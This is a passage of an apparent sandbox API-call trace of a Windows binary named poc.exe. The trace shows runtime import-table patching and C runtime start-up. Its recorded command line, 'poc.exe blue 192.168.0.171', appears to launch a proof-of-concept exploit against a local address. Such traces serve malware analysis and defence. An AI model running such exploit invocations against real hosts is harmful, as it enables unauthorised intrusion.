dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.410] VirtualProtect (in: lpAddress=0x41105c, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.410] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0093.411] VirtualProtect (in: lpAddress=0x411060, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.411] VirtualProtect (in: lpAddress=0x411060, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.411] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibrary") returned 0x76e234c8 [0093.411] VirtualProtect (in: lpAddress=0x411064, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.411] VirtualProtect (in: lpAddress=0x411064, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.411] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0093.411] VirtualProtect (in: lpAddress=0x411068, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.411] VirtualProtect (in: lpAddress=0x411068, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.412] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0093.412] VirtualProtect (in: lpAddress=0x41106c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.412] VirtualProtect (in: lpAddress=0x41106c, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.412] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0093.412] VirtualProtect (in: lpAddress=0x411070, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.412] VirtualProtect (in: lpAddress=0x411070, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.412] GetProcAddress (hModule=0x76e10000, lpProcName="RaiseException") returned 0x76e258a6 [0093.412] VirtualProtect (in: lpAddress=0x411074, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.413] VirtualProtect (in: lpAddress=0x411074, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.413] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0093.413] VirtualProtect (in: lpAddress=0x411078, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.413] VirtualProtect (in: lpAddress=0x411078, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.413] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0093.413] VirtualProtect (in: lpAddress=0x41107c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.413] VirtualProtect (in: lpAddress=0x41107c, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.414] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0093.414] VirtualProtect (in: lpAddress=0x411080, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.414] VirtualProtect (in: lpAddress=0x411080, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.414] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0093.414] VirtualProtect (in: lpAddress=0x411084, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.414] VirtualProtect (in: lpAddress=0x411084, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.414] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0093.414] VirtualProtect (in: lpAddress=0x411088, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.415] VirtualProtect (in: lpAddress=0x411088, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.415] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineA") returned 0x76e251a1 [0093.415] VirtualProtect (in: lpAddress=0x41108c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.415] VirtualProtect (in: lpAddress=0x41108c, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.415] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0093.415] VirtualProtect (in: lpAddress=0x411090, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.415] VirtualProtect (in: lpAddress=0x411090, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.415] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0093.416] VirtualProtect (in: lpAddress=0x411094, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.416] VirtualProtect (in: lpAddress=0x411094, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.416] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0093.416] VirtualProtect (in: lpAddress=0x411098, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.416] VirtualProtect (in: lpAddress=0x411098, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.416] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0093.416] VirtualProtect (in: lpAddress=0x41109c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.416] VirtualProtect (in: lpAddress=0x41109c, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.417] GetProcAddress (hModule=0x76e10000, lpProcName="GetExitCodeProcess") returned 0x76e3174d [0093.417] VirtualProtect (in: lpAddress=0x4110a0, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.417] VirtualProtect (in: lpAddress=0x4110a0, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.417] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0093.417] VirtualProtect (in: lpAddress=0x4110a4, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.417] VirtualProtect (in: lpAddress=0x4110a4, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.417] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileAttributesExW") returned 0x76e24574 [0093.418] VirtualProtect (in: lpAddress=0x4110a8, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.418] VirtualProtect (in: lpAddress=0x4110a8, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.418] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0093.418] VirtualProtect (in: lpAddress=0x4110ac, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.418] VirtualProtect (in: lpAddress=0x4110ac, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.418] GetProcAddress (hModule=0x76e10000, lpProcName="FindClose") returned 0x76e24442 [0093.418] VirtualProtect (in: lpAddress=0x4110b0, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.418] VirtualProtect (in: lpAddress=0x4110b0, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.419] GetProcAddress (hModule=0x76e10000, lpProcName="FindFirstFileExW") returned 0x76e31811 [0093.419] VirtualProtect (in: lpAddress=0x4110b4, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.419] VirtualProtect (in: lpAddress=0x4110b4, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.419] GetProcAddress (hModule=0x76e10000, lpProcName="FindNextFileW") returned 0x76e254ee [0093.419] VirtualProtect (in: lpAddress=0x4110b8, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.419] VirtualProtect (in: lpAddress=0x4110b8, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.419] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0093.419] VirtualProtect (in: lpAddress=0x4110bc, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.420] VirtualProtect (in: lpAddress=0x4110bc, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.420] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0093.420] VirtualProtect (in: lpAddress=0x4110c0, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.420] VirtualProtect (in: lpAddress=0x4110c0, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.420] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0093.420] VirtualProtect (in: lpAddress=0x4110c4, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.420] VirtualProtect (in: lpAddress=0x4110c4, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.421] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0093.421] VirtualProtect (in: lpAddress=0x4110c8, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.421] VirtualProtect (in: lpAddress=0x4110c8, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.421] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0093.421] VirtualProtect (in: lpAddress=0x4110cc, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.421] VirtualProtect (in: lpAddress=0x4110cc, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.421] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0093.421] VirtualProtect (in: lpAddress=0x4110d0, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.422] VirtualProtect (in: lpAddress=0x4110d0, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.422] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0093.422] VirtualProtect (in: lpAddress=0x4110d4, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.422] VirtualProtect (in: lpAddress=0x4110d4, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.422] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0093.422] VirtualProtect (in: lpAddress=0x4110d8, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.422] VirtualProtect (in: lpAddress=0x4110d8, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.423] GetProcAddress (hModule=0x76e10000, lpProcName="SetEnvironmentVariableW") returned 0x76e289f1 [0093.423] VirtualProtect (in: lpAddress=0x4110dc, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.423] VirtualProtect (in: lpAddress=0x4110dc, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.423] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0093.423] VirtualProtect (in: lpAddress=0x4110e0, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.423] VirtualProtect (in: lpAddress=0x4110e0, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.423] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0093.423] VirtualProtect (in: lpAddress=0x4110e4, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.424] VirtualProtect (in: lpAddress=0x4110e4, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.424] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0093.424] VirtualProtect (in: lpAddress=0x4110e8, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.424] VirtualProtect (in: lpAddress=0x4110e8, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.424] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringW") returned 0x76e23bca [0093.424] VirtualProtect (in: lpAddress=0x4110ec, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.424] VirtualProtect (in: lpAddress=0x4110ec, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.424] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0093.425] VirtualProtect (in: lpAddress=0x4110f0, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.425] VirtualProtect (in: lpAddress=0x4110f0, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.425] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0093.425] VirtualProtect (in: lpAddress=0x4110f4, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.425] VirtualProtect (in: lpAddress=0x4110f4, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.425] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0093.425] VirtualProtect (in: lpAddress=0x4110f8, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.425] VirtualProtect (in: lpAddress=0x4110f8, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.426] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0093.426] VirtualProtect (in: lpAddress=0x4110fc, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.426] VirtualProtect (in: lpAddress=0x4110fc, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.426] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0093.426] VirtualProtect (in: lpAddress=0x411100, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.426] VirtualProtect (in: lpAddress=0x411100, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.426] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0093.426] VirtualProtect (in: lpAddress=0x411104, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.427] VirtualProtect (in: lpAddress=0x411104, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.427] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0093.427] VirtualProtect (in: lpAddress=0x411108, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.427] VirtualProtect (in: lpAddress=0x411108, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.427] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0093.427] VirtualProtect (in: lpAddress=0x41110c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.427] VirtualProtect (in: lpAddress=0x41110c, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.428] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0093.428] VirtualProtect (in: lpAddress=0x411110, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.428] VirtualProtect (in: lpAddress=0x411110, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.428] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0093.428] VirtualProtect (in: lpAddress=0x411114, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0093.428] VirtualProtect (in: lpAddress=0x411114, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0093.428] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x28f97c | out: lpflOldProtect=0x28f97c*=0x2) returned 1 [0093.429] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x28f97c | out: lpflOldProtect=0x28f97c*=0x4) returned 1 [0093.429] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28ff6c | out: lpSystemTimeAsFileTime=0x28ff6c*(dwLowDateTime=0x8e37cc20, dwHighDateTime=0x1d5ca1f)) [0093.429] GetCurrentThreadId () returned 0x24c [0093.429] GetCurrentProcessId () returned 0x388 [0093.429] QueryPerformanceCounter (in: lpPerformanceCount=0x28ff64 | out: lpPerformanceCount=0x28ff64*=23453935509) returned 1 [0093.430] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0093.430] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0093.430] GetLastError () returned 0x57 [0093.430] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0093.430] GetLastError () returned 0x57 [0093.430] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76e10000 [0093.430] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0093.430] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0093.430] GetLastError () returned 0x57 [0093.430] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0093.430] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0093.431] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0093.431] GetLastError () returned 0x57 [0093.431] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0093.431] GetLastError () returned 0x57 [0093.431] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76e10000 [0093.431] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0093.432] GetProcessHeap () returned 0x740000 [0093.432] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0093.432] GetLastError () returned 0x57 [0093.432] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0093.432] GetLastError () returned 0x57 [0093.432] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0093.432] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0093.432] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x364) returned 0x76ee48 [0093.432] SetLastError (dwErrCode=0x57) [0093.432] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0xc00) returned 0x76f1b8 [0093.434] GetStartupInfoW (in: lpStartupInfo=0x28fea0 | out: lpStartupInfo=0x28fea0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\ProgramData\\poc.exe blue 192.168.0.171 ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x401e00, hStdOutput=0xfa7d3b2f, hStdError=0xfffffffe)) [0093.434] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0093.434] GetFileType (hFile=0x3) returned 0x2 [0093.482] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0093.483] GetFileType (hFile=0x7) returned 0x2 [0093.483] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0093.483] GetFileType (hFile=0xb) returned 0x2 [0093.483] GetCommandLineA () returned="C:\\ProgramData\\poc.exe blue 192.168.0.171 " [0093.483] GetCommandLineW () returned="C:\\ProgramData\\poc.exe blue 192.168.0.171 " [0093.483] GetACP () returned 0x4e4 [0093.483] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x0, Size=0x220) returned 0x76ae60 [0093.483] IsValidCodePage (CodePage=0x4e4) returned 1 [0093.483] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x28fec0 | out: lpCPInfo=0x28fec0) returned 1 [0093.483] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x28f788 | out: lpCPInfo=0x28f788) returned 1 [0093.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x28fd9c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0093.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x28fd9c, cbMultiByte=256, lpWideCharStr=0x28f528, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0093.483] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x28f79c | out: lpCharType=0x28f79c) returned 1 [0093.484] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x28fd9c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0093.484] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x28fd9c, cbMultiByte=256, lpWideCharStr=0x28f4d8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ덵@Ā") returned 256 [0093.484] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", 